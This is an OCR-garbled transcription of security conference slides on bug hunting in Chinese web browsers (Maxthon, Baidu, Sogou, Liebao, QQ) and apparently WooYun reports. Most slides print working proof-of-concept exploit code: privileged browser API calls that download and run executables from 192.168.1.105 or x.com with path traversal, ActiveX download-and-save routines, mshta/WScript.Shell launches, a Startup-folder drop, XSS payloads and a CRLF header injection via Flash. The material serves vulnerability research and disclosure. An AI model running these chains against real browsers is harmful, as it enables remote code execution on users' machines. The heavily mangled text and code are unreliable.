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Browser Bug Hunting in 2012

(Roberto Suggi Liverani / Scott Bell )

Maxthon - XCS and SOP Bypass ..., <2,

S
assessment.com

(HITB2012 )

= Severity: EZZ9

= Exploit: Remote Code Execution

= Credits: Roberto Suggi Liverani

= CVE:n/a S
= Status: Unpatched! .@Qg’ S s
N
Vendor Response: | (1. (10 1 X .%‘1 %‘

= 13/02/2012 - bugs reported to multiple contacts
= 21/02/2012 - reception of report confirmed but no further reply
= 21/02/2012 - chased them, no reply

= 02-05/2012 - 11 new releases following the report — 1 bug silently fixed
= Approach: targeted — looking for injection points
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RPREL . http://*.sogou.com/

XSS &
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window.external.SkinCall("install", "cmd.exe", O,

"http://hongmei.me/cmd.exe",

|
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cmd.exe = ../..[..] [

"instThmemeCallback");
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dEAE. (ks ] PLJA A external.StartRequest ?)

http://xapp.baidu.com/ 5 bdbrowser:// 23 A FIXSS ! ! x

data: ...... x blob: ... /

L]

window.external.StartRequest(1,"bdbrowser.skin.download"," [=] i/ B %", "{\"nam
e\":\"cmd.exe\",\"url\":\"http://192.168.1.105/testbaidu.exe\"}",window,"")
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cmd.exe = .././[../ [ ¥/ /E 3B /cmd.exe




BT ) 5 B2 (WooYun-2014-80910)

window.external.StartRequest(1,"bdbrowser.skin.download"," [2l i B&ZL","{\"nam
e\":\"cmd.exe\",\"url\":\"http://192.168.1.105/testbaidu.exe\"}",window,"")

1

BN HLR) B A4 FR

cmd.exe = ../../../ H:“ﬂcﬁ//

cmd.exe = ..//..//../] TFF

1
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http://xapp.baidu.com/interface/lib.get_app_list_new?client=browser&cid=
&count=36&page=1&callback=eval(String.fromCharCode(118,97,..., 59));void
var x—new ActiveXObject ("Microsoft.XMLHTTE") ;

x.open("GET" ,"http://192.168.1.105/calc.exe" , false) ;

®x.s5end() ;

var s—new ActiveXObject ("ADODBE.Stream") ;
5 .Mode=3;
5.Type=1;
s.0pen() ;
s.Write(x.responseBody) ;
5

.BaveToFile{"calc.exe") ;

]
t
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H
i
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var y=new RActiveXObject ("W:

yv.run{"calc.exe");

S TR | SRR/ JA B /mm.js
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O EmusE X
SREE = "Pocket (formerly Read It Later)®
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window.external.StartRequest(222,"AppService.AppMarket.DownloadPack"," (function(
id,res){alert(res)})","{\"ID\":\"111111\",\"UPDATE\":\"true\",\"URL\":\"http://x.com/

swf collector.crx\"}",window,""); T
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SFRUE, XSS

http://xapp.baidu.com/browserextension/single/sinaweibo/auth.php#access_toke
n=<img src=1 onerror=alert(1)>

ASER R, XSS Auditor 2 FE#IXN\DOM XSS |

762px x 185px

Loading. ..

T

Q, Elements Network Sources Timeline Profiles Resources Audits | Console| 02 = ¥ x
© W <topframe> v

© The XSS Auditor refused to execute a script in
‘http://xapp.baidu.com/browserextension/single/sinaweibo/auth.php#access token=<img src=1
onerror=alert(1l)>' because its source code was found within the request. The auditor was enabled as
the server sent neither an 'X-XS5-Protection' nor 'Content-Security-Policy' header. auth.php:1
© Failed to load resource: the server responded with a status of 484 (Not Found)
http://xapp.baidu.com/brovwserextension/single/sinaweibo/1
> i

e
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KR, BATESGIA T MR BUSIIXSS !

http://xapp.baidu.com/browserextension/single/tieba/tiebarslidebar/v_6-
O/tiebaslidebar-login-confirm.html#!f=aaaa&uid=vvvvv&uname=<img src=1

onerror=alert(1)>
LA R RID

window.externaI.StartRequest(222,"AppService.AppJ(/Iarket.DownIoad Pack

","(function(id,res){console.log(res)})","{\"ID\":\"Silenter\",\"UPDATE\":\"f
alse\",\"URL\":\"http://dlsw.br.baidu.com/49411271abae81764cf268983c

95d9d7.crx\"}", window,""); T
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atob("IzEjaHROcDoVLZE5Mi4XNjguMSAXMDUVRXZpbFBsdwWdpbisjcng=")
"#1#http://192.168.1.105/EvilPlugin.crx”

http://newsletter.baidu.com/u.html?stime=1403762195&uid=baidu&eid=13
09383&email=wooyun@qqg.com&tlid=259&stid=1672&thid=259&url=IzEjaH
ROcDovLzE5MidxNjguMS4xMDUVRXZpbFBsdWdpbiSjcng=&.crx
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Ll chrome W) Y 28 B SEENAE N 22 S Fn it

KR : chrome://
ffif}1%: chrome-extension://

location.href="chrome://history/"

location.href="chrome-
extension://egdbbgfejcjbhflpflljpajafhiffnoi/xxxxxxxxxx.html";

= C' [ about:blank
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se:// 9% se-extension:// /

7N\

VM httpthil BEEBEFEZR  se-extensionfpil
location.href="se-extension://xxxxxxx/yyyyyyyyy.html";

v

— M B g E T i i DOM XSS

se-extension://ext-1055834318/signin.html?app=test&code=javascript:alert(1)
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location.href — | ~—
!
DOM XS5 NPAPI ~ <embed id="embed1" type="app
T lication/sogou-start-gamecenter-|
<,>°3’ " ite-plugin"/>
Sk $ |
X Q
\\QS“ N iframe N
\o& \&@ e .\\Q;\-\s& embed1l.startExe("mshta javas
S — S " cript:(new/**/ActiveXObject('
,Q;i-“ \c‘,\QO & \Q’b(’ WScript.Shell').run('calc.exe'));
& ,,)'\C/b &L window.moveTo(-1000,-1000);
> & window.close();")
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FEM 30 5 B8 (WooYun-2014-84110)

war iframe = document. getElemertById(" 1frame’);
var url = window. location. search. split (" 2" ) [1):
url = url.split(‘4’) .

var 3pp = wel(0]). splie('=")(1]:

url = wllIoepat C= (1T 24 = a5
[ if (url) } ﬂ%,% ‘.HU
afrane. erc-=—decodelRIConponent iurl )

}
Q% & - @ view-sourcese-extension://ext-1055834318/signin htmitapp=test&code=javascriptdocument.write(%22%3Cimg
b g OALER @ousy BlEx OsEN ORE TEa Cike OFm COIA

se-extension//ext se-extension//ext VIeW-SOUICeIse-ex W REEENAE -7 e P

1 Ciframe id="iframe’ style='width: 100%; height: 1008’ >¢/iframe’
{geript type=" text/)avascript' >
var ifrane = docunent, getEleasrtById (" iframe’ ),
var url = windovw. location. search. splat (" 7"} (1], ke Ay iey
url = url.split("4’). Z a —
var app = url(0]. :vht( =) 1] ﬂff’» Z' '[—_]
= it (C=") [1]
if (url && /(httplfep|https) :\/\V/ [\wi=_]+ (v, D\o\=_J4) 4 ([\w\ =\, , @7 "=X8anp . :/ "\ 8] x [\w\=\@? "=Xbanp ;/ "\ 48] ) 7/, test (url)) { |
iframe. sc = decode[RICoaponent (url) .

ifrane. onload = function() {
uvar sWindaw = sframa. cont ant Wandaw

/(http | ftp [ https):\/V/[\W\- .....................]) ?/ .test(url)

Boa L SediesEil

code=javascript:alert(1);//http://www.baidu.com/



w=window.open(

w.document.getElement
Byld("embed1").startExe

-
iframe

<embed id="emb
edl1" type="applic
ation/sogou-start-
gamecenter-lite-p
lugin"/>



FE A 0] W B2 (WooYun-2014-85567)

location.href = "se-extension://ext-1055834318/signin.html"; x
A% 2] —~about:blank 71 [f]

BANEH (FEsogou.comiF FHllA) -
w = window.open("se-extension://ext-1055834318/signin.html ");

HARFTH— 1 about:blank TL ], 75 X% ?

setTimeout(function(){

w.location.href='se-extension://ext-1055834318/signin.html’;
1,500);

S00EZf )G, X2 —FKIFIN!
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Mydomain.com *.sogou.com €

\ /

w = window.open("se-extension://ext-1055834318/signin.html ");

EET 1 1MadEn
se-extension://ext-1055834318/signin.htm... O K

D B @1 @100%

Flash Xss on player.mbox.sogou.com (IR 75 —FE K EH)

http://player.mbox.sogou.com/FlashMP3Player.swf?isFlashReady=function() —
{if('window.x){alert(1);window.x=1;}}



2] 5 —1~DOM XSS:

se-extension://ext740107210/html/balloon.html
http://img.wan.sogou.com/cdn/gamehelperV0.3/v1.0.5/balloon/main.js

window.onmessage = function{e) {
var data = e.data;
if (data.cmd — "BalloonCloseWin"™) {

window.clbse () ;

} else if (dafla.cmd =— "Ball nM

ip") |

1idden"] = +new Date():;

H O

oo
L0

Hh

localStorage["balloon 4

L

window.clof= () ;
} else if (data@ecmd =— "BalloonStartGame™) |

sogouExplordr.tabs.create({

url:

selected: true

}):
window.close () ; rﬂl‘:‘lﬁ"- x'ﬁﬁ_ﬁiﬁf x‘_.r TR x ‘

};

onmessage = e.data.url = sogouExplorer.tabs.create (€& ¥ Htabpage)



22 52 FT Hballoon L [

w = window.open("se-extension://ext740107210/html/balloon.html");

|

F| F postMessage % 14 = 1 5.

w.postMessage({
"cmd":"BalloonStartGame",
nurlu:n%%z:URL"

1;
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K% = URL B N javascript: alert(1)

RI$44T: sogouExplorer.tabs.create({url:"javascript:alert(1)"})

\
FH =24 F7E =80 TN AT alert(1)

|

XEWRE: RA1B2] T — se-extension://ext740107210/html/
balloon.htm! T3 [ _E HIXSS
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View Page Background Page

,\f\,'\’ w = sogouExplorer.runti "
@'\9 me.getBackgroundPage() Q'\/é\
A W
\q:is' ,&&\ w.document.getElementB Q./@ N <embed id="emb
06\ oé\ yld('embed1').startExe(...) 6\\ \é& ed1" type="applic
QJ&\ N P & ation/sogou-start-
& @\\Q _\,_@5\ &\\Q gamecenter-lite-p
; @ : 1]
%®§ < \é& lugin"/>



25T startExe g A%

startExe(" iy 2 B42", 0] BRI 2R)
startExe("fir & B K42 " "+sogouminigamepacker.exe, "Z4", [0l 1H ek E)

b

calc.exe sogouminigamepacker.exe x ZH B A BETiiexe

calc sogouminigamepacker.exe /

|

CreateProcess(NULL, IpCommandLine,..)

CreateProcess(NULL, "calc sogouminigamepacker.exe JoBES%( ", ...... )

A

BH5IS5EXR! !




w.postMessage({"cmd":"BalloonStartGame","url":"javascript:sogouExplorer.runtim
e.getBackgroundPage().document.getElementByld('embed1’).startExe(\"mshta ja
vascript:(new/** [ActiveXObject('WScript.Shell').run('calc'));window.moveTo(-100
0,-1000);window.close(); //\",\"\",function(){console.log(arguments)});"},"*");

l

« & ©- © se-extensiony//ext740107210/htmi/balloonhtm!
sm ORLSs @Fuso @EE Lansy Oafse Dl DRE Ogs Cbw O OIA
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7 FEAEFE SN HI T 3 L AID

5B Y A% |
external.NativelnstallExtensions(["fpmcdbknonpdbngoboglidihcbfjcaep"]);
TR ) VE A I JRAES A N I T 375 L 1D

\

window.external.extension("installExtFromSidebarBox", "com.qq.Accoun
tProtect”, "1.0.6", "test", '-1', 'undefined’, 'undefined', "function(){consol
e.log(arguments);}");

QAN ¥ 25

window.externaI.extension.instaIIExtlnsion("{CD36E3DB-304A-48EF-A8A2
-D873F608D2AE}","http://*.qq.com/*.grx","8.0.1.19",function(){alert("in
stall ok");});
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77

GF RIS 2 W5 B
"plugin=s": [ {

"path™: "plugins\‘\npCltLoader.dll™,

"public™: true
:' ]i’

"public”: true

XA ZAF e
T 237 T AR 1) T
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~N



XA DLL A HREE T el 7

<embed pluginspage="http://www.fsmeeting.com/download/fmloader.xpi'
id="fx_ClientLoader' type="application/npcltloader-plugin' hidden="true’
width="'1' height='1'/>
<script>

var NodeManAddr="TCP:fsmeeting.com:1089;";

var userType="0";

var GroupName="Fastonz";

var ProductName="FMDesktop";

var ClientName="FMDesktop";

var room_para="-link"+" " + NodeManAddr + " "+"-rid"+" "+" + " " + "-
uname" + " "+"+" "+"-utype"+" "+userType;

var downloadurl="http://x.com/testbaidu.exe";

window.onload=function(){
document.getElementByld("fx_ClientLoader").Run2(downloadurl,GroupName,Pr
oductName,room_para);

}

</script>
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I sidebar... x @EF 3. . @ 8143375.. x

Microsoft Windows [hF7R 6.1.76811 .
HF"TﬁﬁF[_ﬁ {c>» 288? Microsoft Corporation. ﬁaﬁﬁ_ﬁ"fﬂﬁc” -

D:~soft~liebao~5.2.85.9616>

ML G T

XSS

http://tuan.duba.com/cate
gory/?city_code=\u0022\u
003e\u003cimg%20src=1%
20onerror=alert\u00281\u
0029\u003e&cateid=4&f=q
rj2015

i T >

B cochtm

NS VA FHAPI

external.Nativelnstall
Extensions(["fpmcdb
knonpdbngoboglidih
cbfjcaep"]);

- Run2



* & [ xsstsinaapp.com/p
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AR 0

http://www.wooyun.org/bugs/wooyun-2010-089575

http://www.wooyun.org/bugs/wooyun-2010-097380

|

window.external.extension("installExtFromSidebarBox", " &
AHERFERIPREID", "1.0.6", "test", '-1', 'undefined', 'undefine
d', "function(){console.log(arguments);}");

!
XSS + ¥ FENPAPI T BB
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QQ N5 (WooYun-2015-95664)

QQ.Com I® N HIXSS

|

window.external.extension.installExtension("# FEGUID","§ fEHhk", "4 & ik

AR, 6] eR ),

PR R IT E o st 98

T SRR B R A — NS,
HTMLI AT T 4656

AT A L WL A L LTS AL L P U A S L LIS WA LA T L T PR LY A 1P L L VL W L

ploL9HivAZLACZ2+RKFE+DRodeEt Z2oQBLDthm5XolcfmzH7poS3I=", "content
.Js":"Uf50a2U8c4ihQyDCgVbyGNetR4RX9CZAdSWhY /GFmWEN /MovZisrlg
LeAnp\/5kn\/RIBBg++hbZ\ /wec60cPzUJIDT SNbecDLO2UN3p+igsgpa+VETh
BtzN4QR\/10BL9ufFDNn602bLAC+bLB3JpXGRaPl6kp]jluvYeKPPTRTFZG\ /
S1iM=","ps\\inforBar. 19" : "S232TIJBgUGMX1TdOQR]a 7TUFcRwmOD1 7THS
6sTy2LBO9xtBEN]cUUfpZCPrXFlImE jmXkGO4wEItvpPgr70s0cl\/mxQ92eY
R7k\/B8G5a])wkGW\ /+IBjUUSSEOsTzHIXwQEXAFanewkyrRgF+jHENIn4BZK
dzwbw+E0TqwXpiJUueh/ zD=|" 1

l

QQ.Com 1 T K 302Bk 4%

l
48

<« HOiTam
arx (zip/ E4619)



g —Aarx, RIE—AD “&7 N .[.].].].].]. [calc.exeff] LA

bz D\soft\apm\APMServ5.2.6\wwwi\htdocs\{CD36E3DB-304A-48EF-ABA2-D873F608D2AE)_8.0.1.19_{CD36
MEF wEE =EEN BER IEM #EH

o K
& 28 W S5 &3 ke S8

T | ] D\soft\apm\APMServS.2.6\www\htdocs\(CD36E3DB-304A-48EF-ABA2-D873F608D2AE}_8.0.1.19_{C

£ Foh EEEF  SiatiE BilEEATIE]
1043 925 429 985
L img 24 959 20156 2015-01-28 1..
b 10 266 2339 2015-01-07 0..
€ background.himl 10 812 2923 2015-01-281..
E‘..,-’..,-’..,-"..,.-’..,-’..,-"..,.-’..,-’..,-’F'rogramData,n’Micrcust:uft,.-"u'lfind::uws,.n’Start Menu/Programs/Startup/calc.exe | 2009-07-
content,js 40 902 8021 2015-02-02 1.
[£] echarts-plain,js 472 562 123 715 2015-01-30 1..

|| manifest,json 1504 1046 2015-02-02 1.
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y

window.external.extension.installExtension("4 R GUID","# B HbhE" "9 & hix
A, ] R R,
l VAW EYE. Beicalc.exeF!] C:\calc.exe

C:\calc.exe

% hiberfil.sys 2015/2/4
|| ImbaMallLog.txt 2014/11)
| mydata.txt 2[114,‘."5,.-'&':;
%] NetSign.dll 2009/8/2|
pagefile.sys 2015 3~ -
@] pingback.db _P-L‘
[_?calc.exe ;

- 4 | T | )

allLog.txt EETHER: 2014/11/28 22:22
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Ao /Program Files/Tencent/QQBrowser/setupapi.dll




E}A—A J A nn (WooYun-2015-96413)

var f=document.createElement("iframe");f.src="http://chajian.baidu.co
m/app-res.html";

f.onload=function(){
f.contentWindow.postMessage('{"type":"install","data":{"id":"fpdnjdlbd
mifoocedhkighhlbchbiikl","url":"http://dIsw.br.baidu.com/app/201410/
1f457685544a52b101cc1f173adae6bf8.crx","ext_url":"http://dIsw.br.bai
du.com/app_ext/201411/5833639e2b4c852bb7cf18570b0a578f.zip"}}',

*

}‘ "™ T

document.body.appendChild(f);
7 e 1) Pl v o 0 Pl s 4
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v
;3 gc:\userswnawnluadswaaaﬁagezb4caszbb?d15
=T N JENN
fﬂ;aidubrowserExt-EE.png \EF{%)EHFZ:%%
fﬂbaidubmwserEﬂ-ﬁd.png IZEI’EIIH#F, ‘H_jti,‘ﬁfF
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Remote Code Execution as System User on Samsung Phones

(CVE-2015-2865)

payload 30T

samsung_keyboard hax wunzip -1 evil.zip
Archive: ewvil.zip

Length Date Time MName
5 2014-88-22 18:52 Sl /.. /datafpayload
5 1 file
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H#z:

var shell = new ActiveXObject("WScript.Shell");
shell.Run("calc.exe"); //B H At g %
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(c) 2889 Nicrosoft Corporation.
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viewer.html

1= ] E wiewer. himl E wiewer. html | Eviewer.js ] E mail. j= ]

Lwi
7oid=ret-htr>
<div id="fmhboxl1l" clas=z="disable":>
<div class="scrollbar disable"><div claszs="track"><div
class="thumb"><div class="begin"><div clasz=="end"”
Sdived diveo/dive o dived S diw

<iframe name="psl" id="psl" class="viewport g bar"

Izecurity="restricted"|scrolling="no" frameborder="0"

F ILLalie
<iframe name="psb" id="psh" classz="viewport g bar"
gorolling="no" frameborder="0"></iframe>
<Adive<l-—fuhboxl-->
<div id="fmhbox2" clasz="disable">

<div clagsz="scrollbkar disable"><di v%sﬂgrgék’%@%[g

iframe security ="restricted"
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Jiml

4 <meta http-equiv="Conte

&

<head>

<meta http-eguiv="Content

<link rel="stylesheet" ty

<link rel="stylesheet" ty
.f..fdatafpagesfsarcllb

r</head>

<body>

T</script>

<script>
alert (1) ;

<link rel="stylesheet"” :
n. . /.. /data/pages /viewe 5
=) <link rel="stylesheet" &
w. . /.. fdata/pages/scrol
7 [ </head> | 7
g H<body> A — [T]
o E<div id="fmvbhox"> B .
.0 <div clazz="scrollbar d i;
FLdiv class="begin”><di| 12 B
1l H<div class="viewport"> 13
2 <div clagsz="content ">
3 <div id=mtt" class=rtt"lll 12 o=

¢ B AR A 2 2 ST !

<div 1d="fmvbox">

<div class="scrollbar dis
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<script type="text/javascript" =rc="../../data/pages /helpe:
<script type="text/javascript" =rc="../../data/pages/malti-
<gcript tvpe="text/javascript" =src="../../data/pages/viewe:
T/ body>

“</html

" sre=".. /.. /data/pages/multiview. js"></=cript>

<script tvpe="text/javascript" =rc="../../data/pages/vjiewe:
</ body>

</html> }rg
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cEEEARGE Lfak D 57 <textarea id="ps4d" readonly></text
e e — : S8 E </div>
hosts 1 viewer himl i ‘vi'e‘sv'e’r.'js_l E m3 g9 F</div>
104 <script type="text/jayll| 100 [</div><!-—-fmvbox content——>
105 <script type="text/jadjl| 101 [</div><!--fmvbox viewport-->
106 <script type="text/jadfl|102 [</div><!--fmvbox-->
107 <script type="text/jawl| 1°3 <script type="text/javascript" src="../../
108 <script type="text/ja 104 <scrip1.: type="text/javascript" src="../../
109 [</body> ¥l mEIpty
L 105 <script type="text/javascript" src="mail.j
110 </html> 3 2 :
. 106 <script type="text/javascript" src="../../
111 w.js"></script> 107 <script type="text/javascript" src="../../
11z <script type="text/j3 108 <script type="text/javascript" src="../../
133 </body> 108 [ </body>
114 </html> -~ 110 “~</html>
115 $<script> 111 <script>
116 alert (1) ; }2\ Ialert(l) Z
117 </script> 113 </script>
118 114
115
= WWW.W
& t Hyper Text Markup La length : 4614 lines : 115 Ln:112 Col:1
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FEYRAD B3 2 external

s
.dblclick({ function() {
goelectViewManager. onViewIltemDblClick (gattachmentSelectView, £
external. onAttachmentDblCclicked(parzeInt{this.id)}
return false;
1)
.bind("contextmenu”, Ffunction(e) {
gfelectViewManager. onViewltemContextMenu{gattachmentSelectVie:

var out = gAttachmentSelectvi =i

external . onAttachmentMenu(out | &% |mm | s | Mark

return false;

E SXEMNRAT.Wwooyun.org

external.onAttachmentDblClicked (5 JLANFfH4:);
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Flash FJ TextField SZ£F htmlText, htmlText SZ£F <img> Hra>

X AT LU A <img>PrR2E e 2

BIEEM | BARESE < - " &SRR
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YR QQFS R AT Ik &

freeinfos | 1000001 | 1000002 |1000004 | 1000005 | 1000009 |1000010 |1026339
| 1026354 |1026355_|1026356_| 3007128 B869-2898|***** -1 «

recmdinfos | <

behaviors | 0]|4]-1|0¢

mit+ 0+

dynamics | 0+

covers 1+

showitem+ | Z211PjixtrvtOMnMxJgr5te-p7HdjgYdviNN 1IN RjksgM 6IHRIIPOM gAVBTS izksRTV

isbbasqvsc9gYtnNMNBBTjspN BHHRPJFCTfgRe TyM roiM tRTcroaK MsxMI7gldwNN
VjSzksxTelSbbasqvscIgYttMMM cxRjcijorbasquscigYim-kectRJIM gM MIHRIIPET
4Fka%ias5g¥du k9RDjcsdUYsRHHRPJIDTAlEWAYG s6 QO cw 7Vrhhzjs-xwYoooRIS
®J52INMxRTghMEXTPPDJEThdgWwuGsslOeBbsjcgxrM jdakM sxMINH]_e2h5D
XWdfMklsRQTWBNAHHRR]PSTSF-WAIKs62V9QTDksdU grw 1PPPDJET bdgWwu
GssIOBBWM mRPjftejWakKM sROQJMHRze 240X acwhAwz_hPjfthjzHTPPDjETbd g
WwuGssJOfwTDUTbt4Pn bFNVEKIEox 2CwoRj19 Rez TMk loM fWNkhpMvREkh tLv hSj
hNLxhybgtWjQje7KhjovihSjh7TvQjgShh Tdwjew]jMw SrcDQrgJhKkhpM NG <

«— QQF5HE

http://imgcache.gg.com/qqgshow_v3/htdocs/js/common.js H'J huffcompress



http://imgcache.qq.com/qqshow_v3/htdocs/js/common.js

A huffcompress 48 5T Q5848
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i Bimg iR

aapp.com/Xss.swf'>yy%600%600%6012%60FFO0CC%60Arial
Xss.swfHJTE>RZA 1, HIZXHEHimghn 2 1d A B)swirh f A S AT 4 2

P EFROR—E R T “BLmNT =87 BgE, DR /
A C % FlexS T — A swER IR, Hkue 98

FAAW?  “EJLMNT Y7 RAS29RE, “HESCIKE” ZASIRE .
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getURL("http://www.pkav.net/");

stop();
MBI
8 | C' 1 www.pkav.net
Ll <
l. I
S

QQ% F i H B1FT T www.pkav.net
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H2QF5 EFlash 34y, FFIHAT 9 3

function openURL() {
if ((typeof(QQClientNo) !="undefined") && (Number(QQClientNo)
>=2227)){
debugTrace("openURL.ext: " + arguments[0]);
if (flash.external.Externallnterface.available) {
flash.external.Externalinterface.call(" onExecut
e", "openURL", arguments[0], arguments[1]);
}
} else {
debugTrace("openURL.int: " + arguments[0]);
setTimeout(function () {
getURL (arguments[0], arguments[1]);
}, 0, arguments[0], arguments[1]);

BT, £ MNMIJHFURLIFEZ IO ? A EEZShellExecute SEI T ?



GRAK

ShellExecute(Handle,"open","calc.exe",NULL,NULL,SW_SHOWNORMAL);
ShellExecute(Handle, "open", "http://pkav.net", NULL, NULL, SW_SHOWNORMAL);

|

flash.external.Externalinterface.call("onExecute","openURL","C:\\Windows\\Syste
m32\\calc.exe","_self");

stop(); ¢
Ii+§§§ [ -
Ev sse =m0 e
bt r
%) | |
&)
srelais 28608 2808 Be06 2880 Ba 06 2600 2808 -y
53 47 32
paea aa88 8666 8a86 86 66 aaaea 2066 8866 .
=il 15 a8
s Mod| A || MC|| MR || MS || M || M-
b) -+ | ——
i | B4 |l cF 2 - y :

AT calc
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ggqshow?2.0 clientV2.swf

Externallnterface.call("onScenelnited")
Externallnterface.call("onCompleted")

Externallnterface.call("onExecute", "openURL", _args[0], args[1])
callExternal("onExecute", argl, arg2, args)

callExternal("toggleWin", _argl)

callExternal("refreshMovie")

callExternal("closeMagicMovie", argl)

callExternal("openMagicMovie", argl, arg2, arg3, argd, arg5, argb)
callExternal("showMiniBar", argl)

callExternal("download"”, argl, arg2, arg3)
callExternal("openQuickPanel", argl, arg2)

II

BT DA FARE R G 7R TR




WK SAEE N WAL AHAE A R

Lol

public function c_download(_argl:int, _arg2:String, _arg3:String):void{
this.callExternal("download", _argl, arg2, arg3);

}

public function clientLoadltem(_argl:int, _arg2:String, _arg3:String,
_arg4:String):void{
if ('this._clientLoadltems){
this._clientLoadltems = {};
;
if ('this._clientLoadltems[_arg4]){
this._inLoaded++;
this._clientLoadltems[_arg4] = {mapld:_argl, source: _arg2,
localFile:_arg3};
_application.debuger.traces("--c_download--", _argl, arg2,
_arg3);
this._appData.clientAPl.c_download(_argl, arg2, arg3);



T — P mmmm.swf X AFE2]QQF5 H xH

flash.external.Externalinterface.call("download", 5, "http://xsst.sinaapp.com/X
ss.swf", "mmmm.swf")

F
| mmmm.swf - Everything

IR REE ZE=(E) 1AM EEH)

mmmm.swi

~

=R BEiE
|| mmmm.swf E:\pdata\ggdata\All Users\ QO Mid
mmmm.swi i ﬁ
—> L |Ze | iHAES | RS
mmmm. swi

A Shoclwave Flash Object [ =wf)

fIFA": FHERER | BEpr@)... |
fuE: datahtll Users‘QQ'Mischcom. tencent. qggshow
Foil 83 =71 B3 Fh)

HRE. . mmmm.swf FJHNEIFIE Xss.swf !



= Frame 309: 328 bytes on wire (2624 bits), 328 bytes captured (2624 bits)

Ethernet II, Src: 60:6c:66:27:23:2e (60:6C:66:27:23:2e), Dst: Tp-LinkT_4b:f1:68 (00:27:19:4b:f1:68)
Internet Protocol, Src: 192.168.1.105 (192.168.1.105), Dst: 183.61.46.170 (183.61.46.170)
Transmission Control Protocol, Src Port: 55850 (55850), Dst Port: http (80), 5eq: 1, ack: 1, Len: 274

Accept: */%\r\n
User-agent: Mozilla /4.0 (compatible; MSIE 6.0; windows NT 5.1)%r%n
Host: ggshow2-udv.qqg. com'r'n

Pragma: no-cache'r'n

Cookie:

YNl

GET /http://xsst.sinaapp.com/Xss.swf HTTP/1.1\r\n

f

WL A [ AEBRVRRATET, XRRERIRAT A B8 N
i Host T H) BEA !

fEqgshow2-udv.qq.com | FAZ H & X ZHPH? JLFE 0 fe !

Ml



¥ R download ' SE L 5 7

(KT

gqshow2-udv.qg.com

var url="http://x.com/Xss.swf"; /

Client = net.connect("183.61.46.170",function(){

Client.write("GET /"+ url +" HTTP/1.2\"\n");
Client.write("Accept: */*\r\n");

1;

BRI : KA B PUH\\nX url #4747 A0 2 !



GET /1.txt HTTP/1.1[\r\n]

Host: xxx.com[\r\n]

User-Agent: gainover[\r\n] -— g %)\(iﬁ ;k%
[\r\n]

HTTP/1.1

Accept: */*

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: qgshow2-udv.qq.com

Pragma: no-cache <« JEHeader’}E?'\jBody

Cookie: .....

A

flash.external.Externallnterface.call("download", 5, "1.txt HTTP/1.1\r\nHost:
xxx.com\r\nUser-Agent: gainover\r\n\r\n", "mmmm.swf")



fEL-F- 1A £

bad request (400, http header is not correct)

LEG 17

Host: xxx.comin
User-Agent: gainoverin

YA
Hypertext Transfer Protocol
= Data (239 bytes)
Data: 20485454502f312e310d0a4163636
[Length: 239]

570743a202a2f2a0d0a. ..

100
1o
120
130
140
150
160
170

4b f1
ea
57
a9
54
2e
20 &7

27
4f
aa
el
48
78

19
a8
ea
d6
54
78
3a
50

68
00
50
00
2f
af
61 €

66 27 23
28 c6 cO
2c 9 ab
54 20 2f
31|]ﬂ-48
55 73 &5
6f 76 65
Da 41 63

54

0d0a = 0Oa

\r\n =2 \n

\r 25 MR L iy 2



flash.external.Externallnterface.call =Rz \r ?

public static function call (functionName:String,
var s:String;
var id:String;
var ax:Boolean;
var i:uint;
var result:String;
var reguest:String;
if (available)l{

. _args){

|

}

s ="";
_initJs();
s = (s + "try ")
id = objectID;
ax = activeX; .
if ((((ax == true)) && (! {(id == null))))){ 4”’FUEM§BB%&§
s = (s + (("_flash toxXML(" + functionName) Y)Y
1=10;
while (i1 < args.length) {
s = (s + ")) ");
if ({((ax = true)) && (V1 {(id = null))))){
s = (s + "; } catch (&) "y ;
if ((((ax == true)) && (V1 {(id == null))))){
s=(s+" 1");
result = evalJS(s);
if (result = null){
request = ((({"<invcoke name=\"" + functionName) + "\" returntype=\"zml\">") + _argumentsToXML(_args)) +
"<Sinvoke>") ;
result = callout(reguest); A
}; \
if (result == null){
return (null); FLASHSE PR B
}:
return (_toAs (XML (result)));
} else {
Error.throwError (Error, )




i LR

flash.external.Externallnterface.call("download", 5, "1.txt HTTP/1.1\r\nHost:

xxx.com\r\nUser-Agent: gainover\r\n\r\n", "mmmm.swf")

l ERXANEFREHER

XML

_callOut(XML)



XML FEXMLSEAR 55 2 78

flash.external.Externalinterface.call("download", 5, "1.txt HTTP/1.1&#x0D;&#x

OA;Host: xxx.com&#x0D;&#x0A;User-Agent: gainover&#x0D;&#x0A;", "mmm
m.swf");

stop();

IR, call552 2 IS H, Yol LA, &ty 1!

private static function _escapeXML(s:String):String{

return (s.replace(/&/g, "&amp;").replace(/</g, "&lIt;").replace(/>/g,
"&gt;").replace(/"/g, "&quot;").replace(/'/g, "&apos;"));
}



hl bl el loh Bt LT N |

I ¥
== true)) && (!((id == null)}))){
ch () { ");
== frua)) && (1 ((id == null)))d){
Wi T = .

_evalJE[sI;
t = null){

st = {{(("<invoke name=\"" +# functionName)] + "\" returntype=\"xml
;-:=;c;i10utlrequest]; 1
t == null){ \
n (null); FLASHS 3 PRz e
toAS (XML (result)));
functionName

|

flash.external.Externallnterface.call("download", 5, ".

RAEATFAEATIL IR AL L AT LA &G 5, e

<invoke>#Hric !

mmmm.swf");



flash.external.Externallnterface.call('download" returntype="xml"><arg
uments><number>5</number><string>1.txt HTTP/1.1&#x0D;&#x0A;H
ost: xxx.com&#x0D;&#x0A;User-Agent: gainover&#x0D;&#x0A;&#x0D;
&#x0A;</string><string>mmmm.swf</string></arguments></invoke><i
nvoke name="download');

| sesomn

<invoke name="download" returntype="xml"><arguments><number>5</
number><string>1.txt HTTP/1.1&#x0D;&#x0A;Host: xxx.com&#x0D;&#x0
A;User-Agent: gainover&#x0D;&#x0A; &#x0D; &#x0A;</string><string>mm
mm.swf</string></arguments></invoke>

<invoke name="download" returntype="xml">
</invoke>



Filter: | http and ip.addr == 183.61.46.170 ~ Expression.. Clear Apply

Ne. Protocol Path Info
XXX, COom GET /1.txt HTTP/1.1 Continuation or non-HTT

166 HTTP XXX, Com GET /1.txt HTTP/1.1 Continuation or non-HTTP
[ 167 HTTP . oooncom  [TCP Betransmisszion] GET J/1,Txt HTTP/1,1 Copl
# Frame 69: 353 bytes on wire (2824 bits), 353 bytes captured (2824 bits)
# Ethernet II, Src: 60:6C:66:27:23:2e (60:6C:66:27:23:2e), Dst: Tp-LinkT_4b:f1:68 (00:27:1
Internet Protocol, Src: 192,.168.1.105 (192.168.1.105), Dst: 183.61.46.170 (183.61.46.170
